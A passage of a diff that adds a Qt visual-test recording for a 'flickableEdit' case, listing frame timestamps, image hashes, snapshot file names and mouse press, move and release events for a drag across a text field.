+ }
+ Frame {
+ msec: 96
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 112
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 128
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 144
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 160
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 176
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 192
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 208
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 224
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 240
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 256
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 272
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 288
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 304
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 320
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 336
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 352
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 368
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 384
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 400
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 416
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 432
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 448
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 464
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 480
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 496
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 512
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 528
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 544
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 560
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 576
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 592
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 608
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 624
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 640
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 656
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 672
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 688
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 704
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 720
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 736
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 752
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 768
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 784
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 800
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 816
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 832
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 848
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 864
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 880
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 896
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 29; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 912
+ hash: "1a426d2b8854412a3c91f927588f63ce"
+ }
+ Frame {
+ msec: 928
+ hash: "1a426d2b8854412a3c91f927588f63ce"
+ }
+ Frame {
+ msec: 944
+ hash: "1a426d2b8854412a3c91f927588f63ce"
+ }
+ Frame {
+ msec: 960
+ hash: "1a426d2b8854412a3c91f927588f63ce"
+ }
+ Frame {
+ msec: 976
+ image: "flickableEdit.1.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 30; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 32; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 992
+ hash: "1a426d2b8854412a3c91f927588f63ce"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 33; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 34; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1008
+ hash: "1a426d2b8854412a3c91f927588f63ce"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 36; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 39; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1024
+ hash: "4626e25f67dfd0fe3846322455762b3b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 41; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 44; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1040
+ hash: "4626e25f67dfd0fe3846322455762b3b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1056
+ hash: "e506425ea4a8eb6d94442ac0bccd0911"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 53; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 56; y: 10
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1072
+ hash: "3c45be5d00748154f9abce8d525b5791"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 58; y: 10
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 61; y: 10
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1088
+ hash: "3e33ff0dfd478bad91472fa2bb4908a0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 64; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 66; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1104
+ hash: "3e33ff0dfd478bad91472fa2bb4908a0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 71; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1120
+ hash: "e8e7e98f3d7dbcdb4040ae81ef656e02"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 73; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 75; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1136
+ hash: "e8e7e98f3d7dbcdb4040ae81ef656e02"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 78; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 80; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1152
+ hash: "309c25ff85a361dfebd6464984fd9d79"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 83; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 85; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1168
+ hash: "4b4fc7d9263af761222bb23f41021731"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 87; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 90; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1184
+ hash: "4b4fc7d9263af761222bb23f41021731"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 93; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 96; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1200
+ hash: "bd00eeda31cfc8d59a2c9677e771dadb"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 99; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 103; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1216
+ hash: "adce307d674b8425fa39b69958d6acc5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 106; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 111; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1232
+ hash: "36e04d9124f32a21784f3017cc26ee71"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 114; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 116; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1248
+ hash: "36e04d9124f32a21784f3017cc26ee71"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 119; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 122; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1264
+ hash: "c6548ac358dd0eb4fa07ed305039d4e2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 124; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 126; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1280
+ hash: "a0c4b8e21b0b04edaf7b32b2ab40edb2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 128; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 130; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1296
+ hash: "a0c4b8e21b0b04edaf7b32b2ab40edb2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 132; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 134; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1312
+ hash: "d32fb36408859c35dacc5787374b6ae4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 136; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 137; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1328
+ hash: "d32fb36408859c35dacc5787374b6ae4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 139; y: 9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 141; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1344
+ hash: "d32fb36408859c35dacc5787374b6ae4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 143; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 144; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1360
+ hash: "90f44df899138e894b1a7e42657b8331"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 146; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 147; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1376
+ hash: "90f44df899138e894b1a7e42657b8331"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 148; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 149; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1392
+ hash: "8ec6bb08aac10a622df934421f64beb4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 150; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 151; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1408
+ hash: "d4e52b7ca07033e4f2124607454fd81b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 152; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 154; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1424
+ hash: "499d7c3d9cfb35db68f6eece23130e6b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 155; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1440
+ hash: "499d7c3d9cfb35db68f6eece23130e6b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 157; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1456
+ hash: "3ea13a21a5bbe336408c76ab17ff4268"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 158; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 160; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1472
+ hash: "3ea13a21a5bbe336408c76ab17ff4268"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 161; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1488
+ hash: "3ea13a21a5bbe336408c76ab17ff4268"
+ }
+ Frame {
+ msec: 1504
+ hash: "3ea13a21a5bbe336408c76ab17ff4268"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 162; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1520
+ hash: "3ea13a21a5bbe336408c76ab17ff4268"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 164; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1536
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 165; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1552
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 167; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 168; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1568
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 169; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1584
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1600
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 170; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1616
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1632
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1648
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1664
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1680
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1696
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1712
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1728
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1744
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1760
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1776
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1792
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1808
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1824
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1840
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 170; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1856
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1872
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1888
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1904
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1920
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 1936
+ image: "flickableEdit.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 1968
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 1984
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2000
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2016
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2032
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2048
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2064
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2080
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2096
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2112
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2128
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2144
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2160
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2176
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2192
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2208
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2224
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2240
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2256
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2272
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2288
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2304
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2320
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2336
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2352
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2368
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2384
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2400
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2416
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2432
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2448
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2464
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2480
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2496
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2512
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2528
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2544
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2560
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2576
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2592
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2608
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2624
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2640
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2656
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2672
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2688
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2704
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 21; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2720
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Frame {
+ msec: 2736
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Frame {
+ msec: 2752
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Frame {
+ msec: 2768
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Frame {
+ msec: 2784
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Frame {
+ msec: 2800
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Frame {
+ msec: 2816
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Frame {
+ msec: 2832
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Frame {
+ msec: 2848
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Frame {
+ msec: 2864
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Frame {
+ msec: 2880
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Frame {
+ msec: 2896
+ image: "flickableEdit.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Frame {
+ msec: 2928
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 22; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2944
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Frame {
+ msec: 2960
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 23; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2976
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Frame {
+ msec: 2992
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 24; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3008
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 25; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3024
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 26; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3040
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 27; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 29; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3056
+ hash: "e5daa45e1d798fdf2562dbb9a1a2c97b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 30; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 31; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3072
+ hash: "698b572adf95ddc235b781b126a1cc10"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 33; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 35; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3088
